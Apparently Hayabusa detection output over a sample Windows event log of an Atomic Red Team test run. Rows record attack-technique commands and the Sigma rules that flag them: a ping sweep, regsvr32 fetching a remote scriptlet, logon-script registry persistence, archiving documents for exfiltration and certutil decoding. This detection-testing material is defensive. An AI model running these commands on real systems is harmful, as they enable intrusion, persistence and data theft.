Creation,"Command: ping -n 1 -w 100 192.168.1.241 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:35.559 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.242 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:36.025 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.243 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:36.536 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.244 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:37.012 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.245 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:37.505 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.246 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:38.043 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.247 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:38.588 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.248 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:39.024 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.249 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:39.518 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.250 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:40.006 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.251 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:40.535 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.252 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:40.982 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.253 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:41.530 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ping -n 1 -w 100 192.168.1.254 : Path: C:\Windows\System32\PING.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.061 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.276 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""arp -a"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.276 +09:00,MSEDGEWIN10,1,low,Suspicious Network Command,,rules/sigma/process_creation/win_pc_susp_network_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.301 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: arp -a : Path: C:\Windows\System32\ARP.EXE : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""arp -a""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.404 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.815 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""regsvr32.exe /s /u /i:C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct scrobj.dll"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.841 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: regsvr32.exe /s /u /i:C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct scrobj.dll : Path: C:\Windows\System32\regsvr32.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""regsvr32.exe /s /u /i:C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct scrobj.dll""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.841 +09:00,MSEDGEWIN10,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:42.841 +09:00,MSEDGEWIN10,1,high,Regsvr32 Flags Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_flags_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:43.445 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: regsvr32.exe /s /u /i:C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct scrobj.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:43.574 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:44.026 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:44.054 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll : Path: C:\Windows\System32\regsvr32.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:44.054 +09:00,MSEDGEWIN10,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:44.054 +09:00,MSEDGEWIN10,1,high,Regsvr32 Flags Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_flags_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:45.157 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.204 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.565 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.589 +09:00,MSEDGEWIN10,3,high,Regsvr32 Network Activity,,rules/sigma/network_connection/sysmon_regsvr32_network_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.848 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\syswow64\regsvr32.exe"" /s C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll : Path: C:\Windows\SysWOW64\regsvr32.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.848 +09:00,MSEDGEWIN10,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.893 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\regsvr32.exe"" /s C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll : Path: C:\Windows\System32\regsvr32.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.893 +09:00,MSEDGEWIN10,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:46.975 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c IF %%PROCESSOR_ARCHITECTURE%% ==AMD64 ELSE : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:47.083 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: /s C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll : Path: C:\Windows\SysWOW64\regsvr32.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\regsvr32.exe"" /s C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:47.239 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:54.976 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_MULTI_SZ /d "" cmd.exe : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:54.976 +09:00,MSEDGEWIN10,1,high,Logon Scripts (UserInitMprLogonScript),,rules/sigma/process_creation/sysmon_logon_scripts_userinitmprlogonscript_proc.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:55.018 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_MULTI_SZ /d cmd.exe : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_MULTI_SZ /d "" cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:53:55.018 +09:00,MSEDGEWIN10,1,high,Logon Scripts (UserInitMprLogonScript),,rules/sigma/process_creation/sysmon_logon_scripts_userinitmprlogonscript_proc.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:54:01.925 +09:00,MSEDGEWIN10,13,high,Logon Scripts (UserInitMprLogonScript) Registry,,rules/sigma/registry_event/sysmon_logon_scripts_userinitmprlogonscript_reg.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:54:01.925 +09:00,MSEDGEWIN10,13,medium,Commun Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_commun.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:54:01.955 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:54:16.782 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""rar a -r exfilthis.rar *.docx"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:54:16.830 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.235 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""certutil.exe -encode c:\file.exe file.txt"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.235 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.309 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: certutil.exe -encode c:\file.exe file.txt : Path: C:\Windows\System32\certutil.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""certutil.exe -encode c:\file.exe file.txt""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.309 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.961 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""certutil.exe -decode file.txt c:\file.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.961 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.974 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: certutil.exe -decode file.txt c:\file.exe : Path: C:\Windows\System32\certutil.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""certutil.exe -decode file.txt c:\file.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:03.974 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.210 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.270 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""cmd.exe /c copy %%windir%%\\system32\\certutil.exe %%temp%%tcm.tmp"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.270 +09:00,MSEDGEWIN10,1,medium,Suspicious Copy From or To System32,,rules/sigma/process_creation/win_susp_copy_system32.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.294 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd.exe /c copy C:\Windows\\system32\\certutil.exe C:\Users\IEUser\AppData\Local\Temptcm.tmp : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""cmd.exe /c copy %windir%\\system32\\certutil.exe %temp%tcm.tmp""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.294 +09:00,MSEDGEWIN10,1,medium,Suspicious Copy From or To System32,,rules/sigma/process_creation/win_susp_copy_system32.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.333 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""cmd.exe /c %%temp%%tcm.tmp -decode c:\file.exe file.txt"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.333 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.361 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd.exe /c C:\Users\IEUser\AppData\Local\Temptcm.tmp -decode c:\file.exe file.txt : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""cmd.exe /c %temp%tcm.tmp -decode c:\file.exe file.txt""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.361 +09:00,MSEDGEWIN10,1,high,Suspicious Certutil Command,,rules/sigma/process_creation/win_susp_certutil_command.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:57:04.412 